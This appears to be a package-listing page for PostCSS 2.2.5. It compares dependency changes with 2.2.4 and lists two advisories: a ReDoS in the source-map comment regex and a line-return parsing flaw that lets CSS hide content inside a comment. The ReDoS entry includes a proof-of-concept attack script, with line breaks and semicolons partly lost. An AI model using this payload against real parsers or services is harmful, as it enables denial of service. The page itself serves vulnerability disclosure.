PostCSS version 2.2.5 introduces subtle yet impactful updates compared to its predecessor, 2.2.4, offering developers a slightly refined CSS post-processing experience. Both versions serve as robust frameworks for transforming CSS with full source map support, enabling powerful manipulations like vendor prefixing, future CSS syntax support, and linting. The core dependencies remain largely consistent, with "js-base64" staying at "~2.1.5". However, a key difference lies in the "source-map" dependency, upgraded from "~0.1.38" to "~0.1.39" in version 2.2.5, indicating potential improvements or bug fixes related to source map generation and handling.
Among the development dependencies, several updates appear. Most notably, "request" sees an upgrade from "2.40.0" to "2.44.0", "fs-extra" moves from "0.11.0" to "0.12.0", "gulp" jumps from "3.8.7" to "3.8.8", "gulp-mocha" goes from "1.0.0" to "1.1.0", "es6-transpiler" sees an upgrade from "~0.7.15" to "0.7.16" and "jshint-stylish" significantly improves from "0.4.0" to "1.0.0". These updates suggest enhanced tooling for development, testing, and code quality. While the core functionality may seem similar, developers might benefit from the updated "source-map" dependency for improved debugging and the newer development dependencies for a more streamlined workflow. Version 2.2.5 was released roughly three weeks after 2.2.4, signifying active maintenance and incremental improvements to the PostCSS ecosystem.
All the vulnerabilities related to the version 2.2.5 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.